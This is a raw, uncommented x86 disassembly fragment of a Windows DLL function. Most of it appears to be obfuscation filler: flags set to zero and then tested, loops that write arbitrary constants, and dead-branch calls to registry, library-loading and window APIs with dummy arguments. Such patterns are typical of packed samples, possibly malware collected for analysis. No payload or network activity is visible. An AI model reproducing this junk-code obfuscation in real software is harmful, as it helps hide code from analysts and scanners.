lea ecx, [ebp - 0x418]
call fcn.100091ce
inc dword [eax]
xor eax, eax
push eax
lea ecx, [ebp - 0x418]
call fcn.100091ce
push 2
lea ecx, [ebp - 0x8f0]
cmp dword [eax], 3
jle 0x1000c665
call fcn.100091ce
lea ecx, [ebp - 0x418]
mov byte [ebp - 4], 0x20
call fcn.100091c9
dec dword [ebp - 0x44]
jns 0x1000c617
xor eax, eax
mov dword [ebp - 0x10], eax
jmp 0x1000c6ed
mov byte [ebp - 0x39], al
cmp byte [ebp - 0x39], 0
je 0x1000c6ea
push 0x1d9d
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_MonitorFromWindow]
xor eax, eax
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], 0x14
jne 0x1000c6cd
inc dword [ebp - 0x34]
cmp dword [ebp - 0x34], 0x1b
jge 0x1000c5e1
mov byte [ebp - 0x39], al
cmp byte [ebp - 0x39], 0
je 0x1000c710
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
lea ecx, [ebp - 0x8f0]
mov byte [ebp - 4], 0x1f
call fcn.100091c9
push ebx
lea ecx, [ebp - 0xc30]
call fcn.10009161
xor eax, eax
mov byte [ebp - 4], 0x22
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], ebx
jge 0x1000c757
push dword [ebp - 0x24]
lea ecx, [ebp - 0xc30]
call fcn.100091ce
mov dword [eax], 0xfff8
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], ebx
jl 0x1000c739
xor eax, eax
push 2
mov dword [ebp - 0x24], eax
pop ecx
cmp dword [ebp - 0x24], ecx
jge 0x1000c77a
mov eax, dword [ebp - 0x24]
mov dword [ebp + eax*4 - 0x370], 0x2c70bb74
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], ecx
jl 0x1000c762
xor eax, eax
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], ecx
jge 0x1000c79a
mov eax, dword [ebp - 0x24]
mov dword [ebp + eax*4 - 0xf30], 0xffff
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], ecx
jl 0x1000c782
xor eax, eax
mov ebx, dword [sym.imp.USER32.dll_CharUpperBuffW]
mov dword [ebp - 0x36c], eax
cmp dword [ebp - 0x36c], eax
jl 0x1000c7e3
push dword [ebp - 0x36c]
lea ecx, [ebp - 0xc30]
call fcn.100091ce
mov ecx, dword [ebp - 0xf30]
mov dword [eax], ecx
xor eax, eax
mov byte [ebp - 0x39], al
cmp byte [ebp - 0x39], al
je 0x1000c7d9
push 0xb94
push eax
call ebx
dec dword [ebp - 0x36c]
jns 0x1000c7ae
xor eax, eax
mov byte [ebp - 0x39], al
cmp byte [ebp - 0x39], 0
je 0x1000c7fb
push eax
push eax
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_EnumChildWindows]
lea ecx, [ebp - 0xc30]
mov byte [ebp - 4], 0x1f
call fcn.100091c9
xor esi, esi
lea ecx, [ebp - 0x664]
xor eax, eax
inc esi
mov byte [ebp - 0x11], al
push esi
call fcn.10009161
mov byte [ebp - 4], 0x23
xor eax, eax
mov dword [ebp - 0x34], 0xc4d8e5cc
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], esi
jge 0x1000c851
push dword [ebp - 0x10]
lea ecx, [ebp - 0x664]
call fcn.100091ce
mov dword [eax], 0xd3df75dc
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], esi
jl 0x1000c833
xor eax, eax
mov dword [ebp - 0x34], eax
cmp dword [ebp - 0x34], eax
jl 0x1000ca00
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], eax
jg 0x1000c9f7
push 3
lea ecx, [ebp - 0x430]
call fcn.10009161
mov byte [ebp - 4], 0x24
xor eax, eax
mov dword [ebp - 0x38], esi
mov dword [ebp - 0x10], eax
jmp 0x1000c898
push dword [ebp - 0x10]
call fcn.100091ce
mov dword [eax], 0x15747814
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], 3
lea ecx, [ebp - 0x430]
jl 0x1000c887
push 2
call fcn.100091ce
xor esi, esi
lea ecx, [ebp - 0x430]
push 2
mov dword [eax], esi
call fcn.100091ce
cmp dword [eax], esi
jg 0x1000c9d2
xor eax, eax
mov dword [ebp - 0x44], eax
mov byte [ebp - 0x39], al
cmp byte [ebp - 0x39], al
je 0x1000c8eb
push 0x1ef6
push eax
push 0x1197
push 0x16c9
push eax
push eax
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
xor eax, eax
mov dword [ebp - 0x44], eax
cmp dword [ebp - 0x44], eax
jl 0x1000c9ad
xor esi, esi
inc esi
push esi
lea ecx, [ebp - 0x908]
call fcn.10009161
xor eax, eax
mov byte [ebp - 4], 0x25
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], esi
jge 0x1000c932
push dword [ebp - 0x10]
lea ecx, [ebp - 0x908]
call fcn.100091ce
mov dword [eax], 0x12a7
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], esi
jl 0x1000c914
xor eax, eax
mov byte [ebp - 0x39], al
cmp byte [ebp - 0x39], 0
je 0x1000c943
push 0xb94
push eax
call ebx
push dword [ebp - 0x18]
lea ecx, [ebp - 0x664]
call fcn.100091ce
mov eax, dword [ebp - 0x18]
lea ecx, [ebp - 0x664]
xor eax, eax
push eax
call fcn.100091ce
push dword [ebp - 0x18]
lea ecx, [ebp - 0x664]
call fcn.100091ce
xor eax, eax
lea ecx, [ebp - 0x908]
push eax
call fcn.100091ce
mov eax, dword [ebp - 0x18]
lea ecx, [ebp - 0x908]
xor eax, eax
push eax
call fcn.100091ce
mov eax, dword [ebp - 0x18]
lea ecx, [ebp - 0x908]
mov dword [ebp - 0x38], eax
mov byte [ebp - 4], 0x24
call fcn.100091c9
dec dword [ebp - 0x44]
jns 0x1000c8fa
push 2
lea ecx, [ebp - 0x430]
call fcn.100091ce
push 2
lea ecx, [ebp - 0x430]
inc dword [eax]
call fcn.100091ce
cmp dword [eax], 0
jle 0x1000c8c4
xor eax, eax
mov byte [ebp - 4], 0x23
cmp dword [ebp - 0x18], eax
lea ecx, [ebp - 0x430]
call fcn.100091c9
inc dword [ebp - 0x18]
xor eax, eax
push 1
pop esi
cmp dword [ebp - 0x18], eax
jle 0x1000c86c
dec dword [ebp - 0x34]
jns 0x1000c85d
lea ecx, [ebp - 0x664]
mov byte [ebp - 4], 0x1f
call fcn.100091c9
xor ebx, ebx
inc ebx
cmp byte [ebp - 0x11], 0
je 0x1000cab8
mov dword [ebp - 0x30], 0xcea5d6c0
xor eax, eax
mov dword [ebp - 0x1c], 0x210ec320
mov dword [ebp - 0x30], eax
cmp dword [ebp - 0x30], ebx
jge 0x1000ca62
mov dword [ebp - 0x48], 0xfffffffc
xor ecx, ecx
mov eax, dword [ebp - 0x30]
mov eax, dword [ebp - 0x30]
mov edx, dword [ebp - 0x48]
add edx, dword [ebp - 0x30]
imul edx, dword [ebp - 0x48]
mov eax, dword [ebp - 0x30]
cmp edx, eax
setl cl
mov dword [ebp - 0x1c], ecx
inc dword [ebp - 0x30]
cmp dword [ebp - 0x30], ebx
jl 0x1000ca34
xor eax, eax
mov dword [ebp - 0x1c], eax
jmp 0x1000caaa
mov byte [ebp - 0x11], al
cmp byte [ebp - 0x11], 0
je 0x1000ca84
push eax
push eax
push eax
push eax
push eax
push eax
push eax
push eax
push eax
push eax
push eax
push eax
call dword [sym.imp.ADVAPI32.dll_RegQueryInfoKeyW]
xor eax, eax
mov byte [ebp - 0x11], al
cmp byte [ebp - 0x11], 0
je 0x1000caa7
push ebx
push 0x8c7
push 0x268a
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_SetDlgItemInt]
xor eax, eax
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 0xc
jle 0x1000ca67
push eax
push 0xf08
call edi
xor eax, eax
mov dword [ebp - 0x34], 0xfffffffb
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 2
jge 0x1000cae3
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0x1414], 0xf9b3
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], 2
jl 0x1000caca
xor eax, eax
mov dword [ebp - 0x34], eax
jmp 0x1000cb3b
push 3
lea ecx, [ebp - 0x920]
call fcn.10009161
xor eax, eax
mov byte [ebp - 4], 0x26
mov dword [ebp - 0x10], eax
jmp 0x1000cb11
push dword [ebp - 0x10]
call fcn.100091ce
mov dword [eax], 0xceafd94
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], 3
lea ecx, [ebp - 0x920]
jl 0x1000cb00
push 2
call fcn.100091ce
mov byte [ebp - 4], 0x1f
lea ecx, [ebp - 0x920]
cmp dword [eax], 0
jne 0x1000cb42
call fcn.100091c9
inc dword [ebp - 0x34]
cmp dword [ebp - 0x34], ebx
jle 0x1000cae8
jmp 0x1000cb47
call fcn.100091c9
mov eax, dword [ebp - 0x20]
xor edx, edx
mov dword [ebp - 0x48], eax
mov ecx, dword [ebp - 0x48]
mov eax, dword [ebp - 0x20]
cmp ecx, eax
setle dl
xor eax, eax
cmp eax, edx
sbb eax, eax
neg eax
imul eax, dword [ebp - 0x28]
test eax, eax
je 0x1000cb75
xor eax, eax
cmp dword [ebp - 0x28], eax
je 0x1000cb77
mov esi, ebx
jmp 0x1000cb79
xor eax, eax
mov esi, eax
push ebx
lea ecx, [ebp - 0xc48]
call fcn.100091ce
push 8
xor ecx, ecx
mov dword [eax], esi
pop eax
sub eax, esi
add eax, dword [ebp - 0x20]
cmp eax, 0x5755261f
mov eax, dword [ebp - 0x20]
setge cl
xor edx, edx
add ecx, 0x2ff1
cmp ecx, 0x23b1a956
setl dl
xor ecx, ecx
cmp edx, eax
setl cl
cmp ecx, dword [ebp - 0x28]
jle 0x1000cbce
push ebx
lea ecx, [ebp - 0xc48]
call fcn.100091ce
cmp dword [eax], 0
je 0x1000cbce
mov edx, ebx
jmp 0x1000cbd2
xor eax, eax
mov edx, eax
mov eax, dword [ebp - 0x20]
xor ecx, ecx
cmp eax, edx
setge cl
or eax, 0xffffffff
mov dword [ebp - 0x20], ecx
lea ecx, [ebp - 0xc48]
mov dword [ebp - 4], eax
call fcn.100091c9
push ebx
lea ecx, [ebp - 0xb8]
call fcn.10009161
mov dword [ebp - 4], 0x27
xor eax, eax
mov dword [ebp - 0x18], 0x5f7626a9
mov dword [ebp - 0x1c], 0xf5d1cc0c
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], 3
jge 0x1000cc36
mov ecx, 0xffff
mov eax, dword [ebp - 0x24]
mov dword [ebp + eax*4 - 0x174], ecx
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], 3
jl 0x1000cc21
xor eax, eax
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], ebx
jge 0x1000cc5c
push dword [ebp - 0x24]
lea ecx, [ebp - 0xb8]
call fcn.100091ce
mov dword [eax], 0x73838a1f
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], ebx
jl 0x1000cc3e
xor eax, eax
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], 3
jge 0x1000cc7e
mov eax, dword [ebp - 0x24]
mov dword [ebp + eax*4 - 0x15d8], 0x67dcc35
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], 3
jl 0x1000cc65
xor eax, eax
push eax
lea ecx, [ebp - 0xb8]
call fcn.100091ce
xor ebx, ebx
lea ecx, [ebp - 0xb8]
push ebx
mov dword [eax], ebx
call fcn.100091ce
push 2
pop esi
jmp 0x1000ce4e
mov dword [ebp - 0x48], 0xe1fc6578
lea ecx, [ebp - 0xb8]
push ebx
call fcn.100091ce
mov eax, dword [eax]
cmp dword [ebp + eax*4 - 0x174], ebx
je 0x1000ccd8
push ebx
lea ecx, [ebp - 0xb8]
call fcn.100091ce
push ebx
lea ecx, [ebp - 0xb8]
call fcn.100091ce
push ebx
lea ecx, [ebp - 0xb8]
call fcn.100091ce
push ebx
lea ecx, [ebp - 0xb8]
call fcn.100091ce
xor eax, eax
lea ecx, [ebp - 0xb8]
inc eax
mov dword [ebp - 0x48], eax
mov eax, dword [ebp - 0x48]
push ebx
call fcn.100091ce
push ebx
lea ecx, [ebp - 0xb8]
call fcn.100091ce
push ebx
lea ecx, [ebp - 0xb8]
call fcn.100091ce
push ebx
lea ecx, [ebp - 0xb8]
call fcn.100091ce
xor ebx, ebx
mov eax, dword [eax]
mov ecx, dword [ebp + eax*4 - 0x174]
mov eax, dword [ebp - 0x16c]
cmp eax, ecx
lea ecx, [ebp - 0xb8]
setl bl
xor eax, eax
push eax
call fcn.100091ce
lea ecx, [ebp - 0xb8]
mov eax, dword [eax]
mov esi, dword [ebp + eax*4 - 0x174]
add esi, ebx
xor ebx, ebx
push ebx
call fcn.100091ce
push ebx
lea ecx, [ebp - 0xb8]
mov eax, dword [eax]
mov eax, dword [ebp + eax*4 - 0x174]
imul eax, esi
mov esi, dword [ebp - 0x174]
imul esi, eax
call fcn.100091ce
xor ecx, ecx
push 2
mov eax, dword [eax]
mov eax, dword [ebp + eax*4 - 0x174]
cmp esi, eax
pop esi
setne cl
xor eax, eax
mov dword [ebp - 0x18], ecx
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], esi
jg 0x1000ce32
mov dword [ebp - 0x48], 0xdf11caf1
lea ecx, [ebp - 0xb8]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp + eax*4 - 0x174]
xor eax, eax
push eax
call fcn.100091ce
mov ecx, dword [ebp - 0x18]
xor edx, edx
mov ecx, dword [ebp + ecx*4 - 0x174]
mov eax, dword [eax]
add ecx, dword [ebp + eax*4 - 0x174]
mov eax, dword [ebp - 0x18]
cmp ecx, 0x580
setle dl
xor ecx, ecx
mov eax, dword [ebp + eax*4 - 0x174]
cmp eax, edx
setl cl
mov dword [ebp - 0x48], ecx
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp + eax*4 - 0x174]
mov edx, dword [ebp - 0x48]
sub edx, eax
mov eax, dword [ebp - 0x18]
neg edx
sbb edx, edx
xor ecx, ecx
mov eax, dword [ebp + eax*4 - 0x174]
inc edx
cmp edx, eax
setg cl
mov dword [ebp - 0x1c], ecx
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], esi
jle 0x1000cdab
xor eax, eax
push eax
lea ecx, [ebp - 0xb8]
call fcn.100091ce
xor ebx, ebx
lea ecx, [ebp - 0xb8]
push ebx
inc dword [eax]
call fcn.100091ce
cmp dword [eax], esi
jle 0x1000cca2
mov edi, dword [sym.imp.KERNEL32.dll_SetDllDirectoryW]
xor eax, eax
mov dword [ebp - 0x1c], eax
jmp 0x1000ce74
mov byte [ebp - 0x11], al
cmp byte [ebp - 0x11], 0
je 0x1000ce71
push eax
call edi
xor eax, eax
dec dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 0xffffffe5
jne 0x1000ce63
or eax, 0xffffffff
lea ecx, [ebp - 0xb8]
mov dword [ebp - 4], eax
call fcn.100091c9
xor ebx, ebx
lea ecx, [ebp - 0xc4]
inc ebx
push ebx
call fcn.10009161
mov dword [ebp - 4], 0x28
xor eax, eax
mov dword [ebp - 0x18], 0x5f7626a9
mov dword [ebp - 0x1c], 0xf5d1cc0c
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], 3
jge 0x1000ced4
mov ecx, 0xffff
mov eax, dword [ebp - 0x24]
mov dword [ebp + eax*4 - 0x180], ecx
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], 3
jl 0x1000cebf
xor eax, eax
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], ebx
jge 0x1000cefa
push dword [ebp - 0x24]
lea ecx, [ebp - 0xc4]
call fcn.100091ce
mov dword [eax], 0x73838a1f
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], ebx
jl 0x1000cedc
xor eax, eax
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], 3
jge 0x1000cf1c
mov eax, dword [ebp - 0x24]
mov dword [ebp + eax*4 - 0x15c0], 0x67dcc35
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], 3
jl 0x1000cf03
xor eax, eax
push eax
lea ecx, [ebp - 0xc4]
call fcn.100091ce
xor ebx, ebx
mov dword [eax], ebx
jmp 0x1000d0d1
push ebx
lea ecx, [ebp - 0xc4]
call fcn.100091ce
cmp dword [eax], esi
jle 0x1000cf31